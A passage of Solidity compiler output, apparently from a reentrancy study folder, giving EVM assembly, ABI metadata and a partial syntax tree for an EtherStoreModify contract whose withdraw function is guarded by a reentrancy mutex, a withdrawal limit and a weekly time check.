"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 926, | |
"end": 961, | |
"name": "POP" | |
}, | |
{ | |
"begin": 1042, | |
"end": 1047, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 1024, | |
"end": 1039, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 1024, | |
"end": 1039, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 1024, | |
"end": 1047, | |
"name": "PUSH", | |
"value": "100" | |
}, | |
{ | |
"begin": 1024, | |
"end": 1047, | |
"name": "EXP" | |
}, | |
{ | |
"begin": 1024, | |
"end": 1047, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 1024, | |
"end": 1047, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 1024, | |
"end": 1047, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 1024, | |
"end": 1047, | |
"name": "PUSH", | |
"value": "FF" | |
}, | |
{ | |
"begin": 1024, | |
"end": 1047, | |
"name": "MUL" | |
}, | |
{ | |
"begin": 1024, | |
"end": 1047, | |
"name": "NOT" | |
}, | |
{ | |
"begin": 1024, | |
"end": 1047, | |
"name": "AND" | |
}, | |
{ | |
"begin": 1024, | |
"end": 1047, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 1024, | |
"end": 1047, | |
"name": "DUP4" | |
}, | |
{ | |
"begin": 1024, | |
"end": 1047, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 1024, | |
"end": 1047, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 1024, | |
"end": 1047, | |
"name": "MUL" | |
}, | |
{ | |
"begin": 1024, | |
"end": 1047, | |
"name": "OR" | |
}, | |
{ | |
"begin": 1024, | |
"end": 1047, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 1024, | |
"end": 1047, | |
"name": "SSTORE" | |
}, | |
{ | |
"begin": 1024, | |
"end": 1047, | |
"name": "POP" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "POP" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "JUMP", | |
"value": "[out]" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "tag", | |
"value": "15" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "PUSH", | |
"value": "3" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "POP" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "POP" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "JUMP", | |
"value": "[out]" | |
}, | |
{ | |
"begin": 283, | |
"end": 372, | |
"name": "tag", | |
"value": "17" | |
}, | |
{ | |
"begin": 283, | |
"end": 372, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 356, | |
"end": 365, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 332, | |
"end": 340, | |
"name": "PUSH", | |
"value": "3" | |
}, | |
{ | |
"begin": 332, | |
"end": 352, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 341, | |
"end": 351, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 332, | |
"end": 352, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 332, | |
"end": 352, | |
"name": "AND" | |
}, | |
{ | |
"begin": 332, | |
"end": 352, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 332, | |
"end": 352, | |
"name": "AND" | |
}, | |
{ | |
"begin": 332, | |
"end": 352, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 332, | |
"end": 352, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 332, | |
"end": 352, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 332, | |
"end": 352, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 332, | |
"end": 352, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 332, | |
"end": 352, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 332, | |
"end": 352, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 332, | |
"end": 352, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 332, | |
"end": 352, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 332, | |
"end": 352, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 332, | |
"end": 352, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 332, | |
"end": 352, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 332, | |
"end": 365, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 332, | |
"end": 365, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 332, | |
"end": 365, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 332, | |
"end": 365, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 332, | |
"end": 365, | |
"name": "SWAP3" | |
}, | |
{ | |
"begin": 332, | |
"end": 365, | |
"name": "POP" | |
}, | |
{ | |
"begin": 332, | |
"end": 365, | |
"name": "POP" | |
}, | |
{ | |
"begin": 332, | |
"end": 365, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 332, | |
"end": 365, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 332, | |
"end": 365, | |
"name": "SSTORE" | |
}, | |
{ | |
"begin": 332, | |
"end": 365, | |
"name": "POP" | |
}, | |
{ | |
"begin": 283, | |
"end": 372, | |
"name": "JUMP", | |
"value": "[out]" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "tag", | |
"value": "20" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "PUSH", | |
"value": "1" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "JUMP", | |
"value": "[out]" | |
} | |
] | |
} | |
} | |
}, | |
"methodIdentifiers": { | |
"balances(address)": "27e235e3", | |
"depositFunds()": "e2c41dbc", | |
"lastWithdrawTime(address)": "1031ec31", | |
"withdrawFunds(uint256)": "155dd5ee", | |
"withdrawwalLimit()": "e49c10e8" | |
} | |
}, | |
"metadata": "{\"compiler\":{\"version\":\"0.4.26+commit.4563c3fc\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"constant\":true,\"inputs\":[{\"name\":\"\",\"type\":\"address\"}],\"name\":\"lastWithdrawTime\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"name\":\"_weiToWithdraw\",\"type\":\"uint256\"}],\"name\":\"withdrawFunds\",\"outputs\":[],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"constant\":true,\"inputs\":[{\"name\":\"\",\"type\":\"address\"}],\"name\":\"balances\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[],\"name\":\"depositFunds\",\"outputs\":[],\"payable\":true,\"stateMutability\":\"payable\",\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"withdrawwalLimit\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"methods\":{}},\"userdoc\":{\"methods\":{}}},\"settings\":{\"compilationTarget\":{\"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":\"EtherStoreModify\"},\"evmVersion\":\"byzantium\",\"libraries\":{},\"optimizer\":{\"enabled\":false,\"runs\":200},\"remappings\":[]},\"sources\":{\"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol\":{\"keccak256\":\"0x691be2d4e2181de105ec9f4d02a09feb4fb0a705270dba708c8455e9d8455556\",\"urls\":[\"bzzr://ffb488214d323d7e3a50a28f428c785ed65cd9302be3cbce13efdc2642495fd8\"]}},\"version\":1}", | |
"userdoc": { | |
"methods": {} | |
} | |
} | |
} | |
}, | |
"sources": { | |
"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol": { | |
"ast": { | |
"absolutePath": "bit-smartcontract-bug/reentrancy/EtherStoreModify.sol", | |
"exportedSymbols": { | |
"EtherStoreModify": [ | |
95 | |
] | |
}, | |
"id": 96, | |
"nodeType": "SourceUnit", | |
"nodes": [ | |
{ | |
"id": 1, | |
"literals": [ | |
"solidity", | |
"^", | |
"0.4", | |
".26" | |
], | |
"nodeType": "PragmaDirective", | |
"src": "0:24:0" | |
}, | |
{ | |
"baseContracts": [], | |
"contractDependencies": [], | |
"contractKind": "contract", | |
"documentation": null, | |
"fullyImplemented": true, | |
"id": 95, | |
"linearizedBaseContracts": [ | |
95 | |
], | |
"name": "EtherStoreModify", | |
"nodeType": "ContractDefinition", | |
"nodes": [ | |
{ | |
"constant": false, | |
"id": 4, | |
"name": "reEntrancyMutex", | |
"nodeType": "VariableDeclaration", | |
"scope": 95, | |
"src": "91:28:0", | |
"stateVariable": true, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
}, | |
"typeName": { | |
"id": 2, | |
"name": "bool", | |
"nodeType": "ElementaryTypeName", | |
"src": "91:4:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
}, | |
"value": { | |
"argumentTypes": null, | |
"hexValue": "66616c7365", | |
"id": 3, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": true, | |
"kind": "bool", | |
"lValueRequested": false, | |
"nodeType": "Literal", | |
"src": "114:5:0", | |
"subdenomination": null, | |
"typeDescriptions": { | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
}, | |
"value": "false" | |
}, | |
"visibility": "internal" | |
}, | |
{ | |
"constant": false, | |
"id": 7, | |
"name": "withdrawwalLimit", | |
"nodeType": "VariableDeclaration", | |
"scope": 95, | |
"src": "125:41:0", | |
"stateVariable": true, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"typeName": { | |
"id": 5, | |
"name": "uint256", | |
"nodeType": "ElementaryTypeName", | |
"src": "125:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"value": { | |
"argumentTypes": null, | |
"hexValue": "31", | |
"id": 6, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": true, | |
"kind": "number", | |
"lValueRequested": false, | |
"nodeType": "Literal", | |
"src": "159:7:0", | |
"subdenomination": "ether", | |
"typeDescriptions": { | |
"typeIdentifier": "t_rational_1000000000000000000_by_1", | |
"typeString": "int_const 1000000000000000000" | |
}, | |
"value": "1" | |
}, | |
"visibility": "public" | |
}, | |
{ | |
"constant": false, | |
"id": 11, | |
"name": "lastWithdrawTime", | |
"nodeType": "VariableDeclaration", | |
"scope": 95, | |
"src": "172:51:0", | |
"stateVariable": true, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
}, | |
"typeName": { | |
"id": 10, | |
"keyType": { | |
"id": 8, | |
"name": "address", | |
"nodeType": "ElementaryTypeName", | |
"src": "180:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"nodeType": "Mapping", | |
"src": "172:27:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
}, | |
"valueType": { | |
"id": 9, | |
"name": "uint256", | |
"nodeType": "ElementaryTypeName", | |
"src": "191:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
} | |
}, | |
"value": null, | |
"visibility": "public" | |
}, | |
{ | |
"constant": false, | |
"id": 15, | |
"name": "balances", | |
"nodeType": "VariableDeclaration", | |
"scope": 95, | |
"src": "229:43:0", | |
"stateVariable": true, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
}, | |
"typeName": { | |
"id": 14, | |
"keyType": { | |
"id": 12, | |
"name": "address", | |
"nodeType": "ElementaryTypeName", | |
"src": "237:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"nodeType": "Mapping", | |
"src": "229:27:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
}, | |
"valueType": { | |
"id": 13, | |
"name": "uint256", | |
"nodeType": "ElementaryTypeName", | |
"src": "248:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
} | |
}, | |
"value": null, | |
"visibility": "public" | |
}, | |
{ | |
"body": { | |
"id": 26, | |
"nodeType": "Block", | |
"src": "322:50:0", | |
"statements": [ | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"id": 24, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftHandSide": { | |
"argumentTypes": null, | |
"baseExpression": { | |
"argumentTypes": null, | |
"id": 18, | |
"name": "balances", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 15, | |
"src": "332:8:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
} | |
}, | |
"id": 21, | |
"indexExpression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 19, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 110, | |
"src": "341:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 20, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "341:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"isConstant": false, | |
"isLValue": true, | |
"isPure": false, | |
"lValueRequested": true, | |
"nodeType": "IndexAccess", | |
"src": "332:20:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "Assignment", | |
"operator": "+=", | |
"rightHandSide": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 22, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 110, | |
"src": "356:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 23, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "value", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "356:9:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"src": "332:33:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"id": 25, | |
"nodeType": "ExpressionStatement", | |
"src": "332:33:0" | |
} | |
] | |
}, | |
"documentation": null, | |
"id": 27, | |
"implemented": true, | |
"isConstructor": false, | |
"isDeclaredConst": false, | |
"modifiers": [], | |
"name": "depositFunds", | |
"nodeType": "FunctionDefinition", | |
"parameters": { | |
"id": 16, | |
"nodeType": "ParameterList", | |
"parameters": [], | |
"src": "304:2:0" | |
}, | |
"payable": true, | |
"returnParameters": { | |
"id": 17, | |
"nodeType": "ParameterList", | |
"parameters": [], | |
"src": "322:0:0" | |
}, | |
"scope": 95, | |
"src": "283:89:0", | |
"stateMutability": "payable", | |
"superFunction": null, | |
"visibility": "public" | |
}, | |
{ | |
"body": { | |
"id": 93, | |
"nodeType": "Block", | |
"src": "437:617:0", | |
"statements": [ | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"arguments": [ | |
{ | |
"argumentTypes": null, | |
"id": 34, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"nodeType": "UnaryOperation", | |
"operator": "!", | |
"prefix": true, | |
"src": "455:16:0", | |
"subExpression": { | |
"argumentTypes": null, | |
"id": 33, | |
"name": "reEntrancyMutex", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 4, | |
"src": "456:15:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
}, | |
"typeDescriptions": { | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
} | |
], | |
"expression": { | |
"argumentTypes": [ | |
{ | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
], | |
"id": 32, | |
"name": "require", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [ | |
113, | |
114 | |
], | |
"referencedDeclaration": 113, | |
"src": "447:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_require_pure$_t_bool_$returns$__$", | |
"typeString": "function (bool) pure" | |
} | |
}, | |
"id": 35, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "functionCall", | |
"lValueRequested": false, | |
"names": [], | |
"nodeType": "FunctionCall", | |
"src": "447:25:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_tuple$__$", | |
"typeString": "tuple()" | |
} | |
}, | |
"id": 36, | |
"nodeType": "ExpressionStatement", | |
"src": "447:25:0" | |
}, | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"arguments": [ | |
{ | |
"argumentTypes": null, | |
"commonType": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"id": 43, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftExpression": { | |
"argumentTypes": null, | |
"baseExpression": { | |
"argumentTypes": null, | |
"id": 38, | |
"name": "balances", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 15, | |
"src": "490:8:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
} | |
}, | |
"id": 41, | |
"indexExpression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 39, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 110, | |
"src": "499:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 40, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "499:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"isConstant": false, | |
"isLValue": true, | |
"isPure": false, | |
"lValueRequested": false, | |
"nodeType": "IndexAccess", | |
"src": "490:20:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "BinaryOperation", | |
"operator": ">=", | |
"rightExpression": { | |
"argumentTypes": null, | |
"id": 42, | |
"name": "_weiToWithdraw", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 29, | |
"src": "514:14:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"src": "490:38:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
} | |
], | |
"expression": { | |
"argumentTypes": [ | |
{ | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
], | |
"id": 37, | |
"name": "require", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [ | |
113, | |
114 | |
], | |
"referencedDeclaration": 113, | |
"src": "482:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_require_pure$_t_bool_$returns$__$", | |
"typeString": "function (bool) pure" | |
} | |
}, | |
"id": 44, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "functionCall", | |
"lValueRequested": false, | |
"names": [], | |
"nodeType": "FunctionCall", | |
"src": "482:47:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_tuple$__$", | |
"typeString": "tuple()" | |
} | |
}, | |
"id": 45, | |
"nodeType": "ExpressionStatement", | |
"src": "482:47:0" | |
}, | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"arguments": [ | |
{ | |
"argumentTypes": null, | |
"commonType": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"id": 49, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftExpression": { | |
"argumentTypes": null, | |
"id": 47, | |
"name": "_weiToWithdraw", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 29, | |
"src": "580:14:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "BinaryOperation", | |
"operator": "<=", | |
"rightExpression": { | |
"argumentTypes": null, | |
"id": 48, | |
"name": "withdrawwalLimit", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 7, | |
"src": "598:16:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"src": "580:34:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
} | |
], | |
"expression": { | |
"argumentTypes": [ | |
{ | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
], | |
"id": 46, | |
"name": "require", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [ | |
113, | |
114 | |
], | |
"referencedDeclaration": 113, | |
"src": "572:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_require_pure$_t_bool_$returns$__$", | |
"typeString": "function (bool) pure" | |
} | |
}, | |
"id": 50, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "functionCall", | |
"lValueRequested": false, | |
"names": [], | |
"nodeType": "FunctionCall", | |
"src": "572:43:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_tuple$__$", | |
"typeString": "tuple()" | |
} | |
}, | |
"id": 51, | |
"nodeType": "ExpressionStatement", | |
"src": "572:43:0" | |
}, | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"arguments": [ | |
{ | |
"argumentTypes": null, | |
"commonType": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"id": 60, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftExpression": { | |
"argumentTypes": null, | |
"id": 53, | |
"name": "now", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 112, | |
"src": "680:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "BinaryOperation", | |
"operator": ">=", | |
"rightExpression": { | |
"argumentTypes": null, | |
"commonType": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"id": 59, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftExpression": { | |
"argumentTypes": null, | |
"baseExpression": { | |
"argumentTypes": null, | |
"id": 54, | |
"name": "lastWithdrawTime", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 11, | |
"src": "687:16:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
} | |
}, | |
"id": 57, | |
"indexExpression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 55, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 110, | |
"src": "704:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 56, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "704:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"isConstant": false, | |
"isLValue": true, | |
"isPure": false, | |
"lValueRequested": false, | |
"nodeType": "IndexAccess", | |
"src": "687:28:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "BinaryOperation", | |
"operator": "+", | |
"rightExpression": { | |
"argumentTypes": null, | |
"hexValue": "31", | |
"id": 58, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": true, | |
"kind": "number", | |
"lValueRequested": false, | |
"nodeType": "Literal", | |
"src": "718:7:0", | |
"subdenomination": "weeks", | |
"typeDescriptions": { | |
"typeIdentifier": "t_rational_604800_by_1", | |
"typeString": "int_const 604800" | |
}, | |
"value": "1" | |
}, | |
"src": "687:38:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"src": "680:45:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
} | |
], | |
"expression": { | |
"argumentTypes": [ | |
{ | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
], | |
"id": 52, | |
"name": "require", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [ | |
113, | |
114 | |
], | |
"referencedDeclaration": 113, | |
"src": "672:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_require_pure$_t_bool_$returns$__$", | |
"typeString": "function (bool) pure" | |
} | |
}, | |
"id": 61, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "functionCall", | |
"lValueRequested": false, | |
"names": [], | |
"nodeType": "FunctionCall", | |
"src": "672:54:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_tuple$__$", | |
"typeString": "tuple()" | |
} | |
}, | |
"id": 62, | |
"nodeType": "ExpressionStatement", | |
"src": "672:54:0" | |
}, | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"id": 68, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftHandSide": { | |
"argumentTypes": null, | |
"baseExpression": { | |
"argumentTypes": null, | |
"id": 63, | |
"name": "balances", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 15, | |
"src": "736:8:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
} | |
}, | |
"id": 66, | |
"indexExpression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 64, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 110, | |
"src": "745:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 65, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "745:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
